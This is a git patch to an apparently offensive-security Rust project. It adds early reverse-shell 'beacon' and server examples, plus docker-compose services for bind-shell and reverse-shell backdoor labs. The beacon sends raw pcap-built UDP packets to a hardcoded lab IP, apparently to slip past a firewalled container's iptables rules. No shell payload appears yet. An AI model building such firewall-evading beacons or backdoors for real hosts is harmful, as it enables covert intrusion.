From c16bf366b7dd359ca0cf91ddf37652dd96944a28 Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Mon, 1 May 2023 09:15:15 -0400 Subject: [PATCH] fix: fixed weird issues with querying routes this just involved a better understanding of the data types provided by libnl and some refactoring to make querying as a user of the libnl library easier --- Cargo.lock | 28 +++-- docker-compose.yml | 21 +++- examples/reverse-shell/beacon/Cargo.toml | 9 +- examples/reverse-shell/beacon/src/main.rs | 119 +++++++++++++++++++++- examples/reverse-shell/server/Cargo.toml | 3 +- examples/reverse-shell/server/src/main.rs | 20 +++- examples/secure-image/Dockerfile | 3 + examples/secure-image/setup.sh | 2 + nl-sys/src/nl_ffi.rs | 1 + nl-sys/src/route.rs | 107 ++++++++++++++++--- 10 files changed, 285 insertions(+), 28 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 9293020..703c123 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -34,10 +34,6 @@ dependencies = [ "cc", ] -[[package]] -name = "beacon" -version = "0.1.0" - [[package]] name = "block-buffer" version = "0.9.0" @@ -195,6 +191,26 @@ dependencies = [ "rand", ] +[[package]] +name = "ex-revshell-beacon" +version = "0.1.0" +dependencies = [ + "anyhow", + "log", + "nl-sys", + "pcap-sys", + "simple_logger", + "tokio", + "tokio-stream", +] + +[[package]] +name = "ex-revshell-server" +version = "0.1.0" +dependencies = [ + "anyhow", +] + [[package]] name = "futures" version = "0.3.28" @@ -496,10 +512,6 @@ version = "1.0.160" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bb2f3770c8bce3bcda7e149193a069a0f4365bda1fa5cd88e03bca26afc1216c" -[[package]] -name = "server" -version = "0.1.0" - [[package]] name = "sha2" version = "0.9.9" diff --git a/docker-compose.yml b/docker-compose.yml index 25d6535..54748c2 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -7,10 +7,29 @@ services: volumes: - ./target:/backdoor command: /backdoor/release/ex-bind-shell-backdoor + # privileged flag is for iptables, not for the backdoor privileged: true examples_bindshell_client: image: alpine volumes: - ./target:/backdoor - command: /backdoor/release/ex-bind-shell-client examples_bindshell_target:54248 \ No newline at end of file + command: /backdoor/release/ex-bind-shell-client examples_bindshell_target:54248 + + examples_revshell_beacon: + build: + context: examples/secure-image + dockerfile: Dockerfile + volumes: + - ./target:/bacodkkr + command: /backdoor/release/ex-revshell-beacon + # privileged flag is for iptables, not for the backdoor + privileged: true + + examples_revshell_server: + image: alpine + volumes: + - ./target:/backdoor + expose: + - '54248/udp' + command: /backdoor/release/ex-revshell-server \ No newline at end of file diff --git a/examples/reverse-shell/beacon/Cargo.toml b/examples/reverse-shell/beacon/Cargo.toml index ba2d9b3..73ed5a4 100644 --- a/examples/reverse-shell/beacon/Cargo.toml +++ b/examples/reverse-shell/beacon/Cargo.toml @@ -1,8 +1,15 @@ [package] -name = "beacon" +name = "ex-revshell-beacon" version = "0.1.0" edition = "2021" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] +tokio = { version = "1.21.2", features = ["net", "rt", "macros", "rt-multi-thread", "io-util", "time"] } +nl-sys = { path = "../../../nl-sys" } +pcap-sys = { path = "../../../pcap-sys" } +anyhow = "1.0.70" +tokio-stream = "0.1.14" +log = "0.4.17" +simple_logger = "4.1.0" \ No newline at end of file diff --git a/examples/reverse-shell/beacon/src/main.rs b/examples/reverse-shell/beacon/src/main.rs index e7a11a9..580ff36 100644 --- a/examples/reverse-shell/beacon/src/main.rs +++ b/examples/reverse-shell/beacon/src/main.rs @@ -1,3 +1,118 @@ -fn main() { - println!("Hello, world!"); +use std::{net::Ipv4Addr, collections::HashMap}; + +use anyhow::{anyhow, bail}; +use tokio::time::{Duration, interval}; +use tokio_stream::StreamExt; + +use nl_sys::{netlink, route}; +use pcap_sys::packets::*; + +#[tokio::main] +async fn main() -> anyhow::Result<()> { + // commented out because it's hard to easily input an IP by command line with docker compose + // let mut args = std::env::args(); + // args.next(); + // let target = args.next() + // .map(|s| s.parse::().ok()) + // .flatten() + // .ok_or(anyhow!("Please specify a target IP"))?; + + // print!("Please enter the target IP (found with `docker-compose exec examples_revshell_server ip a`, e.x. 172.19.0.2): "); + // std::io::stdout().flush()?; + // let stdin = std::io::stdin(); + // let mut target = String::new(); + // stdin.read_line(&mut target)?; + // let target = target.trim().parse::()?; + let target: Ipv4Addr = "172.19.0.2".parse().unwrap(); + + let (src_mac, dst_mac, srcip) = { + let socket = netlink::Socket::new()?; + + let routes = socket.get_routes()?; + let neighs = socket.get_neigh()?; + let links = socket.get_links()?; + + let srcip = route::get_srcip_for_dstip(&routes, target) + .ok_or(anyhow!("Unable to find a route to the IP"))?; + + let (target_link, dst_mac) = route::get_neigh_for_addr(&routes, &neighs, &links, &srcip.into()) + .ok_or(anyhow!("Unable to find local interface to use"))?; + + let src_mac = target_link.addr().hw_address(); + + ( + TryInto::<[u8;6]>::try_into(src_mac).unwrap(), + TryInto::<[u8;6]>::try_into(dst_mac).unwrap(), + srcip + ) + }; + + let mut interfaces = pcap_sys::PcapDevIterator::new()?; + + let interface_name = interfaces + .find(|eth| eth.starts_with("eth")) + .ok_or(anyhow!("could not get an ethernet interface"))?; + + let mut interface = pcap_sys::Interface::::new(&interface_name)?; + + interface.set_buffer_size(8192)?; + interface.set_non_blocking(true)?; + interface.set_promisc(false)?; + interface.set_timeout(10)?; + + let mut interface = interface.activate()?; + + interface.set_filter("inbound and udp port 54248", true, None)?; + + if interface.datalink() != pcap_sys::consts::DLT_EN10MB { + bail!("interface does not support ethernet") + } + + enum EventType { + Packet(Result), + Update + } + + let mut packets = interface.stream()?; + let mut update_interval = interval(Duration::from_millis(500)); + let mut current_packet_id = 0; + let mut sent_updates: HashMap = HashMap::new(); + + while let Some(evt) = tokio::select! { + v = packets.next() => v.map(EventType::Packet), + _ = update_interval.tick() => Some(EventType::Update) + } { + match evt { + EventType::Packet(Ok(pkt)) => { + let eth_pkt = pkt.pkt(); + let Ok(Layer3Pkt::IPv4Pkt(ip_pkt)) = eth_pkt.get_layer3_pkt() else { continue; }; + let Ok(Layer4Pkt::UDP(udp_pkt)) = ip_pkt.get_layer4_packet() else { continue; }; + + let data = udp_pkt.get_data(); + + let Ok(resp_id) = TryInto::<[u8;4]>::try_into(&data[..4]) else { continue; }; + let resp_id = i32::from_be_bytes(resp_id); + + if sent_updates.contains_key(&resp_id) { + sent_updates.remove(&resp_id); + println!("Packet {resp_id} has received a response"); + } + } + EventType::Update => { + let unacknowledged_packets = sent_updates.keys().collect::>(); + println!("Currently unacknowledged packets: {unacknowledged_packets:?}"); + current_packet_id += 1; + sent_updates.insert(current_packet_id, false); + + let udp_packet = UDPPacket::construct(54248, 54248, current_packet_id.to_be_bytes().to_vec()); + let ip_packet = IPv4Packet::construct(srcip, target, &Layer4Packet::UDP(udp_packet)); + let eth_packet = EthernetPacket::construct(src_mac, dst_mac, &Layer3Packet::IPv4(ip_packet)); + + packets.sendpacket(eth_packet.pkt())?; + } + _ => {} + } + } + + Ok(()) } diff --git a/examples/reverse-shell/server/Cargo.toml b/examples/reverse-shell/server/Cargo.toml index dd022ab..9c20507 100644 --- a/examples/reverse-shell/server/Cargo.toml +++ b/examples/reverse-shell/server/Cargo.toml @@ -1,8 +1,9 @@ [package] -name = "server" +name = "ex-revshell-server" version = "0.1.0" edition = "2021" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] +anyhow = "1.0.70" \ No newline at end of file diff --git a/examples/reverse-shell/server/src/main.rs b/examples/reverse-shell/server/src/main.rs index e7a11a9..3fbd3de 100644 --- a/examples/reverse-shell/server/src/main.rs +++ b/examples/reverse-shell/server/src/main.rs @@ -1,3 +1,19 @@ -fn main() { - println!("Hello, world!"); +use std::net::UdpSocket; + +fn main() -> anyhow::Result<()> { + let input = UdpSocket::bind("0.0.0.0:54248")?; + + loop { + let mut buf = [0u8; 4]; + + let Ok((amount, src)) = input.recv_from(&mut buf[..]) else { continue; }; + + if amount != 4 { + continue; + } + + println!("Received packet: {}", i32::from_be_bytes(buf)); + + let Ok(_) = input.send_to(&buf, src) else { continue; }; + } } diff --git a/examples/secure-image/Dockerfile b/examples/secure-image/Dockerfile index eb873cd..c9c9649 100644 --- a/examples/secure-image/Dockerfile +++ b/examples/secure-image/Dockerfile @@ -1,3 +1,6 @@ +# secure-image Dockerfile +# Used to represent a "secure" computer which has a firewall in place +# # Copyright (C) 2023 Andrew Rioux # # This program is free software: you can redistribute it and/or modify diff --git a/examples/secure-image/setup.sh b/examples/secure-image/setup.sh index 273b2de..ee8610d 100755 --- a/examples/secure-image/setup.sh +++ b/examples/secure-image/setup.sh @@ -1,4 +1,6 @@ #!/bin/sh +# Setup for the secure image which will set firewall rules +# # Copyright (C) 2023 Andrew Rioux # # This program is free software: you can redistribute it and/or modify diff --git a/nl-sys/src/nl_ffi.rs b/nl-sys/src/nl_ffi.rs index 0fefb6b..5101dd3 100644 --- a/nl-sys/src/nl_ffi.rs +++ b/nl-sys/src/nl_ffi.rs @@ -66,6 +66,7 @@ extern "C" { pub fn rtnl_neigh_get(cache: *mut nl_cache, ifindex: c_int, dst: *mut nl_addr) -> *mut rtnl_neigh; pub fn rtnl_neigh_get_dst(neigh: *mut rtnl_neigh) -> *mut nl_addr; pub fn rtnl_neigh_get_lladdr(neigh: *mut rtnl_neigh) -> *mut nl_addr; + pub fn rtnl_neigh_get_ifindex(neigh: *mut rtnl_neigh) -> c_int; pub fn rtnl_link_get(cache: *mut nl_cache, index: c_int) -> *mut rtnl_link; pub fn rtnl_link_alloc_cache(sock: *mut nl_sock, family: c_int, result: *mut *mut nl_cache) -> c_int; diff --git a/nl-sys/src/route.rs b/nl-sys/src/route.rs index 49760cb..7603d07 100644 --- a/nl-sys/src/route.rs +++ b/nl-sys/src/route.rs @@ -13,11 +13,11 @@ // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see . -use std::{ffi::{CStr, CString}, net::Ipv4Addr}; +use std::{ffi::{CStr, CString}, net::Ipv4Addr, fmt::Debug}; use libc::{c_int, AF_INET, c_uint}; -use crate::{error, netlink::Cache}; +use crate::{error, netlink::{Cache, self}}; use super::nl_ffi::*; @@ -66,7 +66,7 @@ impl Link { /// Tries to get the neighbor for this link, which can provide the destination address and the /// link layer address (lladdr) - pub fn get_neigh(&self, neigh_table: &Cache, addr: &Addr) -> Option { + pub fn get_neigh(&self, neigh_table: &Cache, addr: &Addr) -> Option<[u8; 6]> { unsafe { let neigh = rtnl_neigh_get(neigh_table.cache, self.ifindex(), addr.addr); @@ -74,11 +74,20 @@ impl Link { return None; } - Some(Neigh { neigh }) + Neigh { neigh }.lladdr().hw_address().try_into().ok() } } } +impl Debug for Link { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f + .debug_struct("Link") + .field("name", &self.name()) + .finish() + } +} + impl From<*mut nl_object> for Link { fn from(value: *mut nl_object) -> Self { Self { @@ -87,16 +96,50 @@ impl From<*mut nl_object> for Link { } } -/// Gets the neighbor record for the source IP specified -pub fn get_neigh_for_addr(neighs: &Cache, links: &Cache, addr: &Addr) -> Option<(Link, Neigh)> { +/// Gets the neighbor record for the source IP specified, or get the default address +pub fn get_neigh_for_addr(routes: &Cache, neighs: &Cache, links: &Cache, addr: &Addr) -> Option<(Link, [u8; 6])> { for link in links.iter() { let Some(neigh) = link.get_neigh(&neighs, addr) else { continue; }; return Some((link, neigh)); } + // No good neighbors were found above, try to use the default address + println!("here"); + if let Some(def_neigh) = get_default_route(routes) { + println!("Found default route, trying to get link for it"); + if let Some((link, neigh)) = neighs + .iter() + .filter_map(|n| { + let Some(link) = netlink::get_link_by_index(links, n.ifindex()) else { + return None; + }; + + if Some(n.ifindex()) != def_neigh.hop_iter().next().map(|h| h.ifindex()) { + return None; + } + + Some((link, n.lladdr())) + }) + .next() { + return Some((link, neigh.hw_address().try_into().ok()?)) + } + } + None } +/// Given the routes cache, returns the default route among them +pub fn get_default_route(routes: &Cache) -> Option { + routes + .iter() + .find(|r| + r + .dst() + .map(|a| a.cidrlen()) + .unwrap_or(33) == 0 + ) +} + /// A struct representing the neighbor of a link pub struct Neigh { neigh: *mut rtnl_neigh @@ -118,6 +161,12 @@ impl Neigh { Addr { addr } } } + + pub fn ifindex(&self) -> i32 { + unsafe { + rtnl_neigh_get_ifindex(self.neigh) + } + } } impl From<*mut nl_object> for Neigh { @@ -167,6 +216,26 @@ impl Addr { } } +impl Debug for Addr { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self.atype() { + AF_INET => { + let octets = self.hw_address(); + f + .debug_struct("Addr") + .field("addr", &format!("{}.{}.{}.{}/{}", octets[0], octets[1], octets[2], octets[3], self.cidrlen())) + .finish() + }, + _ => { + f + .debug_struct("Addr") + .field("addr", &self.hw_address()) + .finish() + } + } + } +} + impl From for Addr { fn from(value: Ipv4Addr) -> Self { unsafe { @@ -200,6 +269,19 @@ pub struct Route { } impl Route { + /// Represents the destination of the route + pub fn src(&self) -> Option { + unsafe { + let addr = rtnl_route_get_src(self.route); + + if addr.is_null() { + return None; + } + + Some(Addr { addr }) + } + } + /// Represents the destination of the route pub fn dst(&self) -> Option { unsafe { @@ -319,7 +401,7 @@ pub fn get_srcip_for_dstip(routes: &Cache, ip: Ipv4Addr) -> Option, ip: Ipv4Addr) -> Option